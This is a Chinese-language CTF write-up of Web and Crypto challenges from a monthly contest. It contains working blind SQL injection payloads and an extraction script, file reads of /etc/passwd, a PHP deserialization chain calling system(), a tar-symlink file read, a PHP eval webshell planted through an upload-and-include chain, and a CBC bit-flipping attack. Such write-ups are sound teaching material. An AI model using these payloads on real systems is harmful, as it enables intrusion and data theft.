前言
今天比赛繁多,在打xnuca的闲暇,做了下安恒月赛,以下是Web和Crypto的解题记录
签到旧题-手速要快
拿到题目后,发现要输入一个Password
在header里发现密码
输入后发现来到上传页面
发现可以上传成功
并且可以被解析为php
于是getflag
ezsql
打开页面,发现只有注册,登录功能,然后就是个人信息页面
http://101.71.29.5:10024/user/user.php?id=5
随手测试了一下,发现存在sql注入
http://101.71.29.5:10024/user/user.php?id=if(1,1,2)
http://101.71.29.5:10024/user/user.php?id=if(0,1,2)
但这里的过滤很坑,首先没有引号,其次是过滤没有回显,我无法通过
if(length('a'),1,2)
这样的方式去识别过滤,这是我觉得比较头疼的问题
后来在随便测试的时候发现
if(hex(database())like(0x25),1,2)
回显正常,随即觉得应该有戏,但是由于过滤太多,依次尝试,发现可以load_file
if((hex(load_file(0x2f6574632f706173737764))like(0x25)),1,2)
尝试读了一下/etc/passwd
发现成功,于是想到读/var/www/html/index.php
然后得到文件内容
<?php require_once('config/sys_config.php'); require_once('header.php'); if(isset($_COOKIE['CONFIG'])){ $config = $_COOKIE['CONFIG']; require_once('config/config.php'); } ?>
然后读/var/www/html/config.php
得到文件内容
<?php $config = unserialize(base64_decode($config)); if(isset($_GET['p'])){ $p=$_GET['p']; $config->$p; } class Config{ private $config; private $path; public $filter; public function __construct($config=""){ $this->config = $config; echo 123; } public function getConfig(){ if($this->config == ""){ $config = isset($_POST['config'])?$_POST['config']:""; } } public function SetFilter($value){ // echo $value; $value=waf_exec($value); var_dump($value); if($this->filter){ foreach($this->filter as $filter){ $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value); } $this->filter = array(); }else{ return false; } return true; } public function __get($key){ //var_dump($key); $this->SetFilter($key); die(""); } }
发现是一波反序列化的操作,注意到函数
public function __get($key){ //var_dump($key); $this->SetFilter($key); die(""); }
以及
if(isset($_GET['p'])){ $p=$_GET['p']; $config->$p; }
发现可控值,跟踪SetFilter
发现
$value=waf_exec($value); var_dump($value); if($this->filter){ foreach($this->filter as $filter){ $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
发现可进行RCE的位置,于是尝试构造
$sky = new Config(); $sky->filter = array('system'); echo base64_encode(serialize($sky));
发现成功列目录,但是在尝试读取flag的时候出现问题
首先flag2333是个目录,然后/和空格被过滤,我们列出当前文件夹下所有文件
这里使用$IFS进行绕过空格
得到文件名,依旧无法cat,因为没有/,尝试通配符?,发现也被过滤
最后想到grep,如下图
即可无需目录名getflag
interesting web
拿到题目发现
需要我们成为管理员,因为普通用户没有用
发现3个功能:注册,登录,找回密码
那么应该是用这3个功能更改管理员密码没错了
我们尝试找回密码
由于目标是flask框架,session是存在cookie里的,我们注意到session
eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJaREk1TTJRMk9XSTBPV1U0WWpNM01EUTFOMk0wWXpjNVpUTTJOek0yTkRVPSJ9LCJ1c2VybmFtZSI6ImFkbWluIn0.DtqVZA.sKvz6PyWEuNzg_FZrRI3RKzoWzk
解一下
可以得到token
随机成功更改管理员密码
然后先到tar,不难想到软链接,我们构造
ln -s /etc/passwd 222222.jpg tar cvfp 1.tar 222222.jpg
上传1.tar,即可得到flag
好黑的黑名单
拿到题目,f12发现
http://101.71.29.5:10041/show.php?id=1
于是尝试注入,有了前面的经验,直接尝试
http://101.71.29.5:10041/show.php?id=if(1,1,2)
http://101.71.29.5:10041/show.php?id=if(0,1,2)
并且发现过滤时
报错时
即可得到题目的4种特征
尝试
if((database())like(0x25),1,2)
发现like被过滤,于是尝试regexp
if((database)regexp(0x5e),1,2)
fuzz了一下,发现可以得到数据库名为
web
于是写脚本进行注入
尝试爆表
select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()
这里遇到问题,=被过滤,like也被过滤
于是想到
in(database())
但是这里还有坑,需要这样绕过
in%0a(database())
同时
information_schema.TABLES
被过滤,需要如下绕过
information_schema%0a.%0aTABLES
绕过后,即可得到两张表
admin,flaggg
相同的方式尝试爆字段
id,f1agg
最后进行flag的提取时出现问题,题目不知道为什么,当regexp匹配数字的时候,就会出现数据库错误,即
所以只能得到flag{
这一点非常头疼,在这里卡了1个小时后,想到使用between,例如
根据之前的经验,flag均为md5
于是想到从0~f进行遍历
脚本如下
# -*- coding:utf-8 -*- import requests import string flag = 'flag{' payload=flag.encode('hex') list = string.digits+'abcdef'+'}' for i in range(1,200): print i for j in range(len(list)): tmp1 = payload+'2f' tmp2 = payload+list[j].encode('hex') url = 'http://101.71.29.5:10041/show.php?id=if(((select%0af1agg%0afrom%0aflaggg)between%0a0x'+tmp1+'%0aand%0a0x'+tmp2+'),1,2)' r = requests.get(url) if '郑州烩面的价钱为10' in r.content: payload += list[j-1].encode('hex') print payload.decode('hex') break
得到flag
flag{5d6352163c30ba51f1e2c0dd08622428}
image_up
http://101.71.29.5:10043/index.php?page=login
拿到题目发现是个登录页面,且有文件读取的风险,我们尝试读取文件
<?php if(isset($_POST['username'])&&isset($_POST['password'])){ header("Location: index.php?page=upload"); exit(); } ?>
随手尝试admin admin,发现登录成功,再读upload的源码
<?php $error = ""; $exts = array("jpg","png","gif","jpeg"); if(!empty($_FILES["image"])) { $temp = explode(".", $_FILES["image"]["name"]); $extension = end($temp); if((@$_upfileS["image"]["size"] < 102400)) { if(in_array($extension,$exts)){ $path = "uploads/".md5($temp[0].time()).".".$extension; move_uploaded_file($_FILES["image"]["tmp_name"], $path); $error = "上传成功!"; } else{ $error = "上传失败!"; } }else{ $error = "文件过大,上传失败!"; } } ?>
发现文件上传,这里不难想到组合拳:lfi+upload
我们只要上传一个内容带有一句话木马的jpg,再包含即可getshell
但这里有一个难点
$path = "uploads/".md5($temp[0].time()).".".$extension;
我们需要提前预测time()
刚开始我以为这是一道简单的time预测,但发现多次尝试多线程爆破,都无法预测到文件名
后来看到提示
想到是不是时区的问题,尝试time+8h
time()+8*3600
随机可以预测到图片,但是新的问题来了,我们保护图片发现并没有成功,猜想是否强行拼接了.php,于是读index
<?php if(isset($_GET['page'])){ if(!stristr($_GET['page'],"..")){ $page = $_GET['page'].".php"; include($page); }else{ header("Location: index.php?page=login"); } }else{ header("Location: index.php?page=login"); }
发现强行拼接了.php,于是想到新的方法
zip://
走zip协议即可
创建一个sky.php的文件,内容为
<?php @eval($_POST[sky]);
然后压缩为sky.zip,改后缀名为sky.jpg
预测文件名后上传
访问路径
http://101.71.29.5:10043/index.php?page=zip://uploads/ddf1dcc4b533d1631d81a0c58a1b3bdb.jpg%23sky
即可菜刀连接
好简单的密码2
nc进题目
➜ ~ nc 101.71.29.5 10048 only admin can get flag! Menu: 1) login 2) info 3) edit 4) flag
发现有4个功能,查看了一下
2 iv:235d5e78277087a9cb82b8ea0ca94a47 cipher:4721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95c1a73bcd539f73d29cac53105dbd69bbf71a5fcef01ccaa3f9b6582d96311f47 plain:7b27757365726e616d655f5f273a202731646d696e272c20276c6f67696e5f74696d655f5f273a20313534333035393335342e3831353837397d303030303030 3 new iv(must_be_16_bytes_long): 235d5e78277087a9cb82b8ea0ca94a47 new cipher: 4721f1a3f57ed3d6fcad72461fa54815f0b7f83874919bd79bdc1e0a945c0f95179a145bb62d567082303b27a986e9a407763db55d5dc47c3483060be10b6946
发现info,是告诉你iv,c,m,而edit是更改iv和c
瞬间想到cbc翻转攻击
尝试登陆1dmin
1 Please input your username 1dmin login success
查看此时的信息
2 iv:235d5e78277087a9cb82b8ea0ca94a47 cipher:4721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95c1a73bcd539f73d29cac53105dbd69bbf71a5fcef01ccaa3f9b6582d96311f47 plain:7b27757365726e616d655f5f273a202731646d696e272c20276c6f67696e5f74696d655f5f273a20313534333035393335342e3831353837397d303030303030
进行c的构造
cipher = ord(cipher[0]) ^ ord(‘1’) ^ ord(‘a’)
然后修改c
3 new iv(must_be_16_bytes_long): 235d5e78277087a9cb82b8ea0ca94a47 new cipher: 1721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95b19686d227341efdc6f68d112c2852f6165f9f345cf01e06095faa150fd430ec
此时再看个人信息
2 iv:235d5e78277087a9cb82b8ea0ca94a47 cipher:1721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95b19686d227341efdc6f68d112c2852f6165f9f345cf01e06095faa150fd430ec plain:dfdd2d9e4cb84a95a2dd3fcfc9e8627761646d696e272c20276c6f67696e5f74696d655f5f273a20313534333035393435372e3332363233317d303030303030
发现明文出现乱码
那么通过iv恢复第一个Block
plain = 'dfdd2d9e4cb84a95a2dd3fcfc9e86277'.decode('hex') want = "{'username__': '" first_16 = '' iv = '235d5e78277087a9cb82b8ea0ca94a47'.decode('hex') for i in range(16): first_16 += chr(ord(plain[i]) ^ ord(iv[i]) ^ ord(want[i])) newiv = first_16 print newiv.encode('hex')
然后去再修改新的iv
3 new iv(must_be_16_bytes_long): 87a706950ebaa35d043ad87ae27b0817 new cipher: 1721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95b19686d227341efdc6f68d112c2852f6165f9f345cf01e06095faa150fd430ec
即可getflag
Menu: 1) login 2) info 3) edit 4) flag 4 only admin can get flag username :admin flag{cce8a1ec51ac432c774d0198e388b034}
脚本如下
from Crypto.Cipher import AES import base64 # iv='235d5e78277087a9cb82b8ea0ca94a47' # cipher='4721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95179a145bb62d567082303b27a986e9a407763db55d5dc47c3483060be10b6946' # plain='7b27757365726e616d655f5f273a202731646d696e272c20276c6f67696e5f74696d655f5f273a20313534333035383631322e3136303935367d303030303030' # m = plain.decode('hex') # # for i in range(0,len(m),16): # # print m[i:i+16] # print cipher.encode('hex') plain = 'dfdd2d9e4cb84a95a2dd3fcfc9e86277'.decode('hex') print plain want = "{'username__': '" first_16 = '' iv = '235d5e78277087a9cb82b8ea0ca94a47'.decode('hex') for i in range(16): first_16 += chr(ord(plain[i]) ^ ord(iv[i]) ^ ord(want[i])) newiv = first_16 print newiv.encode('hex')
仿射
拿到题目,提示b=7,以及一串密码
achjbnpdfherebjsw
我们知道仿射密码为
a的逆元取值范围在(1,9,21,15,3,19,7,23,11,5,17,25)
所以直接解密即可
代码如下:
import gmpy2 string = 'achjbnpdfherebjsw' b=7 for i in (1,9,21,15,3,19,7,23,11,5,17,25): flag = '' for k in string: flag += chr(i*((ord(k)-ord('a'))-b)%26+ord('a')) print flag